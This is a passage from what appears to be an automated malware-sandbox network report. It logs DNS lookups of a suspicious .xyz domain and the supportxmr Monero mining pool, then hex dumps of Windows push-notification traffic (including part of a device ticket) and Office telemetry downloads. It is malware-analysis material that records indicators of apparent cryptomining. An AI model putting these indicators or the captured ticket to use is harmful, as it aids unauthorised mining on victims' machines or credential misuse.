Oct 17, 2024 18:21:52.853586912 CEST	1.1.1.1	192.168.2.6	0x4e21	No error (0)	www.eqwedasda.xyz		150.138.72.102	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:21:58.638598919 CEST	1.1.1.1	192.168.2.6	0x82de	No error (0)	www.eqwedasda.xyz		150.138.72.102	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:22:04.486769915 CEST	1.1.1.1	192.168.2.6	0x15db	No error (0)	www.eqwedasda.xyz		150.138.72.102	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:22:10.273799896 CEST	1.1.1.1	192.168.2.6	0x190c	No error (0)	www.eqwedasda.xyz		150.138.72.102	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:22:16.021691084 CEST	1.1.1.1	192.168.2.6	0xae62	No error (0)	www.eqwedasda.xyz		150.138.72.102	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:22:19.281440973 CEST	1.1.1.1	192.168.2.6	0x5711	No error (0)	pool.supportxmr.com	pool-fr.supportxmr.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 17, 2024 18:22:19.281440973 CEST	1.1.1.1	192.168.2.6	0x5711	No error (0)	pool-fr.supportxmr.com		141.94.96.71	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:22:19.281440973 CEST	1.1.1.1	192.168.2.6	0x5711	No error (0)	pool-fr.supportxmr.com		141.94.96.144	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:22:19.281440973 CEST	1.1.1.1	192.168.2.6	0x5711	No error (0)	pool-fr.supportxmr.com		141.94.96.195	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

otelrules.azureedge.net

slscr.update.microsoft.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.6	49712	40.113.110.67	443

Timestamp	Bytes transferred	Direction	Data
2024-10-17 16:18:14 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 4e 4f 64 41 44 72 75 31 34 30 75 44 67 54 36 2f 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 64 65 66 64 63 32 66 34 36 39 33 33 61 31 36 61 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: NOdADru140uDgT6/.1Context: defdc2f46933a16a
2024-10-17 16:18:14 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-10-17 16:18:14 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 4e 4f 64 41 44 72 75 31 34 30 75 44 67 54 36 2f 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 64 65 66 64 63 32 66 34 36 39 33 33 61 31 36 61 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 61 30 37 42 76 63 41 41 77 6c 2f 59 63 7a 2f 77 2b 75 46 53 30 33 66 59 67 35 44 69 31 63 62 4c 6a 51 52 68 69 6c 31 6f 46 78 6c 6c 74 6b 67 69 75 6f 71 6d 33 63 67 79 4a 35 47 66 53 74 39 62 36 38 2b 36 34 47 65 32 30 69 75 36 42 68 44 4e 57 49 45 47 52 77 72 54 68 4c 4a 56 30 33 62 32 73 63 70 4e 53 4c 69 4b 4c 34 62 72 57 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: NOdADru140uDgT6/.2Context: defdc2f46933a16a<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAa07BvcAAwl/Ycz/w+uFS03fYg5Di1cbLjQRhil1oFxlltkgiuoqm3cgyJ5GfSt9b68+64Ge20iu6BhDNWIEGRwrThLJV03b2scpNSLiKL4brW
2024-10-17 16:18:14 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 4e 4f 64 41 44 72 75 31 34 30 75 44 67 54 36 2f 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 64 65 66 64 63 32 66 34 36 39 33 33 61 31 36 61 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: NOdADru140uDgT6/.3Context: defdc2f46933a16a<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-10-17 16:18:15 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-10-17 16:18:15 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 4a 69 76 6e 48 49 35 4f 34 45 47 6a 4b 4b 4d 41 49 31 33 35 79 51 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: JivnHI5O4EGjKKMAI135yQ.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.6	49713	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-17 16:18:16 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-17 16:18:17 UTC	540	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 16:18:17 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public Last-Modified: Mon, 14 Oct 2024 13:20:05 GMT ETag: "0x8DCEC52EAEA89D6" x-ms-request-id: 841c68bc-001e-0014-43d9-1e5151000000 x-ms-version: 2018-03-28 x-azure-ref: 20241017T161817Z-16b659b44998rw28css0tq67fn0000000bfg0000000013rp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-17 16:18:17 UTC	15844	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-10-17 16:18:17 UTC	16384	IN	Data Raw: 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e Data Ascii: "0" /> </L> <R> <V V="400" T="I32" /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" />
2024-10-17 16:18:17 UTC	16384	IN	Data Raw: 20 20 3c 53 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 53 54 3e 0d 0a 3c 2f 52 3e 0d 0a 3c 24 21 23 3e 31 30 38 32 30 76 33 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 Data Ascii: <ST> <S T="1" /> </ST></R><$!#>10820v3+<?xml version="1.0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-781
2024-10-17 16:18:17 UTC	16384	IN	Data Raw: 20 54 3d 22 55 36 34 22 20 49 3d 22 38 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 45 76 65 6e 74 73 5f 41 76 67 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 41 76 65 72 61 67 65 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 Data Ascii: T="U64" I="8" O="false" N="Events_Avg"> <S T="2" F="Average" /> </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32"
2024-10-17 16:18:17 UTC	16384	IN	Data Raw: 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f Data Ascii: "0" O="false" N="Count_CreateCard_ValidPersona_False"> <C> <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Co
2024-10-17 16:18:17 UTC	16384	IN	Data Raw: 20 20 20 20 3c 53 20 54 3d 22 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 39 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a Data Ascii: <S T="31" /> </C> </C> <C T="U32" I="19" O="false" N="Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C>
2024-10-17 16:18:17 UTC	16384	IN	Data Raw: 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 Data Ascii: <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMillisec
2024-10-17 16:18:17 UTC	16384	IN	Data Raw: 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e Data Ascii: R> <V V="0" T="I32" /> </R> </O> </F> </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIn
2024-10-17 16:18:17 UTC	16384	IN	Data Raw: 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 36 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: R> </O> </F> <F T="6"> <O T="AND"> <L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L>
2024-10-17 16:18:17 UTC	16384	IN	Data Raw: 54 3d 22 36 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c Data Ascii: T="6"> <O T="EQ"> <L> <S T="2" F="HttpStatus" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.2.6	49715	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-17 16:18:18 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-17 16:18:18 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 16:18:18 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 2bfbe8ba-001e-00ad-34d8-1e554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241017T161818Z-16b659b4499vb6rgub5604hgz000000008tg000000007tq4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-17 16:18:18 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.6	49716	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-17 16:18:18 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-17 16:18:18 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 16:18:18 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: fe1af26d-601e-00ab-11d8-1e66f4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241017T161818Z-16b659b4499gfl4fdbx49yxptw0000000bug0000000062xr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-17 16:18:18 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.6	49717	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-17 16:18:18 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-17 16:18:18 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 16:18:18 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: c8d8f407-d01e-005a-22d8-1e7fd9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241017T161818Z-16b659b44994c5rr2b3ze9shcc000000097g00000000f8r0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
